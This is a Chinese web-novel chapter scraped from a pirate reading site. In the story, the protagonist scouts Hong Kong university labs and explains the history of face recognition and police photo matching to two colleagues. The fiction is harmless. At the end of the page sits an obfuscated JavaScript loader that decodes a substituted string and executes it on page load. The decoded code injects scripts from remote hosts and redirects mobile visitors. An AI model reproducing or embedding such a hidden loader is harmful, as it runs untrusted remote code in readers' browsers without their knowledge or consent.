首页
第1336章 人脸识别很复杂
返回
关灯 护眼:关 字号:小

第1336章 人脸识别很复杂

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    技术的发展方向选择,其实就是科学家跟时代玩一局剪刀石头布。资本机构都不喜欢长期持有研发型公司的股票,因为这玩意风险太大了,拼运气的成分太大。
    就比如现在世界上那些顶尖的芯片公司,进入到移动互联网时代,在3g、4g、5g的快速迭代中,大部分都得死。
    周不器有一个优势。
    对他来说,这场和时代进行的剪刀石头布中,是时代先出,他后出。
    所以,他能断定这个多媒体实验室的科研思路是正确的,是大有前景的,也就100%能够确认这个实验室就是后来大名鼎鼎的商汤科技。
    不过,眼下这个多媒体实验室还缺少一个领军人物,实验室主任汤教授是个纯粹的科学家,带领着一些教授和学生,对市场化的认识远远不够。
    周不器就不一样了,他很快就能把他们的图片处理技术跟市场相结合,并起到非常重要的作用。
    把不确定的模糊图片转化为确定的清晰图片,这门技术还有很长的路要走,可能还得10年、20年、30年的奋斗之路。
    可是,把确定的人眼范围之内的模糊图片清晰化,他们基本是可以做到的。
    这就足以对社会层面产生很大的积极作用了。
    周不器特别高兴,觉得这次来港,真是赚大了。得马上通知沈向阳,让他过来一趟,跟这个多媒体实验室展开深层次的、全方位的合作。
    离开之后,小超人还迷迷糊糊的,似乎什么都没明白。
    周不器则笑哈哈,“感谢你过去这几年帮我资助了这个团队,感谢啊!”
    “什么?”
    小超人都惊呆了,这是我资助的科研团队啊,这个多媒体实验室的成立,当初都是我出资帮忙筹建的。
    听这口气,变成你的了?
    就算不是我的,那也是港岛中文大学的啊,跟你要毛关系?
    周不器道:“小超人,不是我想半路截胡,实在是这个实验室的科研课题太前沿了,别说你了,全世界都没几家公司能接住。在东半球,就只有紫微星有资格去合作。你也别太苦恼。”
    “我苦恼什么了?”小超人又好气又好笑,“我资助这些科研团队,就是公益性质,从来就没打算获取什么。”
    周不器竖起一根大拇指,“对!这格局是对的!”
    小超人邀请道:“有空你去一趟我家?”
    “啊?”
    “我父亲想跟你聊聊。”
    “好啊,一定拜会,去学习学习。”
    “到时候你把今天的事着重说明一下。”
    周不器眉梢一挑,“说什么?”
    小超人道:“就说这是我资助多年并十分看好的科研团队,因为自身实力不足,转交由紫微星继续跟进。”
    周不器压低声音,“你家对高科技产业的投资,是你的还是你大哥的?”
    小超人似笑非笑,“周总,你这个问题很不礼貌。”
    周不器很豪爽地跟他勾肩搭背,“咱们是朋友啊,我是东北人,不在乎这些细节……嗯,东北人你知道不?”
    小超人道:“知道,喝酒比白鬼子还猛,打架比三合会还猛。”
    “我说的是性格,好吧?”周不器哼了一声,信誓旦旦,“我们东北人,都热情好客、义薄云天,需要我帮忙,你尽管开口。”
    “好的。”
    小超人笑了笑,对家族内部的事情只字不提。
    周不器道:“做码头、地产、零售、交通、自来水这些生意,其实都差不多,都是传统产业。可高科技产业的思路不一样,我觉得你家的高科技领域的投资和产业,交给你是对的。”
    小超人就非常高兴。
    一行人走在港中大的校园里,小超人就有意跟他拉近关系,小声道:“上午那个文泳珊小姐,不喜欢吗?”
    周不器轻咳了一声,“不怎么熟悉。”
    小超人道:“我都安排好了,你带出去开房都没问题。”
    “我不是那种人。”
    “是吗?”
    “嗯。”周不器又咳了几下嗓子,低声道:“她可能在港岛这边挺红,可我压根就没听说过她。在大陆,我们对港岛娱乐圈的理解,还是老港片和四大天王呢。”
    “甘多人死唔见你去死!”
    小超人说了句粤语,一句骂人的话。
    周不器当然知道他不是在骂自己,就很奇怪,拽了句英文,“你说什么呢?”
    小超人很恼火的道:“我骂陈冠西啦。”
    周不器好笑道:“他怎么了?”
    小超人道:“他搞出来的照片门,把港岛最红的一批女明星给搞臭了。给你安排,你保准没兴趣。”
    周不器觉得他说得太有道理了,大义凛然,“我对这种事没兴趣,你不用费心安排了。”
    大家一起又在港大、科技大学和理工大学调研了4个实验室,真的都挺好。
    其中有港大的一个能源实验室做的“数据中心高温化”项目,就特别看好,很符合紫微星的需求。
    目前,全世界主流的数据中心的PUE都是2左右,即在服务器等计算设备上耗电1度,相应的空调等辅助设备上也要耗电1度。有效耗电是1,真实耗电是2。
    可一些能源控制出色的数据中心,耗电可以低到1.7。紫微星在首都的云数据中心,耗电PUE大约是1.8。
    他们的研究课题是怎么才能让计算机、服务器在相对高温的情况下安全稳定地运行。如果做成了,就不需要把空调开那么大功率了,也就省电了。
    这个课题对元计算的业务非常重要。
    难怪小超人会有那么大的挫败感了,港岛真是不缺人才啊,亚洲最好的15所大学里,港校能排进去5个,水平真的可以。
    看样子,紫微星的港岛分公司应该承接更重要的任务了,要把研究院开设过来,跟港校对接。把人才留住,免得跑去英美等国了。
    晚上,周不器拒绝了小超人的应酬,陪着裴瑶和孙莞然用餐,要求鹏城分公司要加强跟港校的联络。
    尤其那个多媒体实验室,真是太好了,可以直接商业化。
    “直接商业化?”裴瑶微微一怔,不太理解,“早了点吧?”
    周不器道:“如果可能的话,我觉得明年就可以推向市场。这种事,越快越好,利国利民。”
    “呃……”
    裴瑶已经习惯了老板的大嘴巴。
    周不器笑着问:“对了,在多媒体实验室时,小超人不是提了一个案例嘛,说是好莱坞电影里经常有这样的剧情,卫星捕捉到了城市里一个人,可是人脸太模糊。然后,把模糊的人脸传到技术中心,进行清晰化的处理,再跟数据库里的个人信息对照,就能查到这个人是谁了。”
    孙莞然轻声道:“汤教授不是说了嘛,这不可能。”
    “没错,是不可能。”周不器也知道电影对大众有太多的误导,“把不确定的图像转化为确定图像,我估计没有十年二十年的技术积累做不成。那么问题来了,如果是清晰图像呢?还有一些影视剧有这样的剧情,有一张照片,照片上的人是谁,不知道。警方把照片扫描到电脑里,然后电脑就可以把这个人跟身份证上的头像结合,就查到这个人了。”
    孙莞然试探着说:“这应该是真的吧?”
    “假的!”
    周不器很果断。
    孙莞然神色狐疑,“这是很难的技术吗?应该可以吧?要是不能,那公安部门怎么办案查人?”
    周不器道:“美国我不清楚,国内肯定是做不到。孟厚坤他舅不就是什么局长嘛,我跟他聊过。他们采用的是最笨的办法,让警力用眼睛,跟数据库里的身份证头像一张照片一张照片地去对比。”
    “那可麻烦死了!”
    “这就是人工智能的重要性了。算了,你俩都不懂技术,我给你们上一课吧,讲一讲人工智能之图像处理的发展史。”
    没有专家在场,周不器就足以在这俩外行面前充大佬了。
    孙莞然撇撇嘴,“你懂吗?”
    周不器冷哼道:“怎么不懂?听着!80年代的时候,计算机能够识别一些简单的物体了。比如车、树、老虎,计算机可以通过先验知识库的方法来识别了。就是先把这些东西手动地传到数据库里,跟数据库里的差不多,就识别了。不过准确率很差,苹果和樱桃都未必能分清。”
    “哦。”
    孙莞然心下鄙视,觉得他可真能装。
    周不器接着说:“到了90年代,新的算法就出现了,可以有局部特征的描述了。这是当代人工智能图像识别技术的发源,咱们的CTO沈向阳就是相关理论的奠基人。不过,这个过程还需要手动录入或者手动设置一些局部特征的记录规则,然后计算机才能分辨。”
    “现在可以自动录入了?”
    “没错,进入21世纪后,机器学习的方法广泛应用,计算机视觉快速发展,计算机可以自动地从海量数据中总结归纳物品的特性,然后进行识别和判断了。”
    “哦。”
    孙莞然和裴瑶对视一眼,都有点迷糊。
    周不器叹了口气,“算了,你们都是技术小白,说了你们也不懂。我就告诉你们吧,沈向阳带队在做一个项目,就是图片的识别。”
    “黄图识别程序?”
    “对,黄土识别相对还是简单了点,更重要的是人脸识别。这不是模糊图片,是很清晰的照片。比如在不同角度拍一下你的脸,这是2D照片。然后通过2D照片进行3D建模。然后确定这些照片里的人脸,到底是不是一个人。”
    孙莞然有些吃惊,“这么复杂!”
    周不器道:“我这都说得简单了呢,人脸多复杂啊,就比如把你俩的脸给计算机识别。计算机可以很轻易地判断出这是女人。可让计算机判断你俩是不是同一个人,这就需要非常细节的判断了。”
    裴瑶说:“所以刚才你说的,很多影视剧里演过的,把照片扫描到电脑里,然后电脑就可以跟数据库自动对接,查出这个人是谁了,这还做不到。”
    周不器点了点头,“对,过去的人工智能水平,无法做到太细节的区分,尤其人脸,不同的年龄可能会有不同的变化,得需要3D建模才能减少误差。记住,我说的这是清晰照片与清晰照片的对比。”
    “现在能做到吗?”
    “黄图识别不就做得很好嘛,人脸识别是更进一步。现在基本能做到了,就是准确率太差,好像才16.7%。”
    “这么低?”
    孙莞然一拍脑门,感觉影视剧与现实的距离好遥远。
    以现在的技术,把个人照片上传到公安系统的电脑上,然后去跟公民数据库里的身份证照片做对比……这技术还不存在,只能靠警力不停地在数据库里一个人一个人地翻查,靠人眼去对比。
    这办案效率可太差了,而且也耽误事啊!
    好在听他的意思,似乎紫微星可以帮忙解决这个问题。
    哎呀!
    如果真的做到了,那真的好有意义啊。
    只可惜,准确率太低了。
    “低?”周不器哼了一声,“这可是人工智能,准确率再低,也比人眼去挨个判断强吧?16.7%的准确率,相当于提高了警方80%多的筛查效率。再跟人眼结合,基本上几分钟就能把网络上任意一张照片里的人脸跟身份证信息对接上。”
    孙莞然连连颔首,雀跃地说:“嗯!真有意义!真是好事呢!”
    周不器哈哈一笑,多少有些得意,到了他这种层次,感觉做这种事比赚钱更痛快,“不过,沈向阳做的这个是清晰图片与清晰图片的对比。可现在的很多监控分辨率都很低,拿到的是模糊图片,这就可以跟汤教授的研究相结合了。”
    孙莞然脱口而出,“先把模糊的图片转化成清晰的图片,然后再进行图片识别的对比。”
    “对。”周不器点了点头,“不过这个模糊图片,也只能是肉眼承受范围内的模糊图片。只能是比较模糊,不能太过模糊。”
    “可这个方向是正确的。”裴瑶也很高兴,觉得在紫微星工作很有成就感,“现阶段是确定性图片的清晰化转化,随着技术的迭代、升级,就可以向不确定的图片发展了。这个项目可以先上马,然后一点点地帮助警方更新设备、升级系统,直到达到好莱坞电影里演的那样。”
    周不器笑道:“对,没错!”
    裴瑶道:“大街小巷贴着各种各样的打印的图片,说是丢失儿童或者丢失妇女什么的,可这怎么查?警方也很难查。有了我们的技术,就有了计算机筛选的可能。只要丢失的儿童或者妇女有照片传到了网上,或者从周边的摄像头里截取出相应图像,就可以完成对比、对接、确认,然后通过照片来源,也就找到人了。”
    周不器叹了口气,“这可没那么简单。”
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();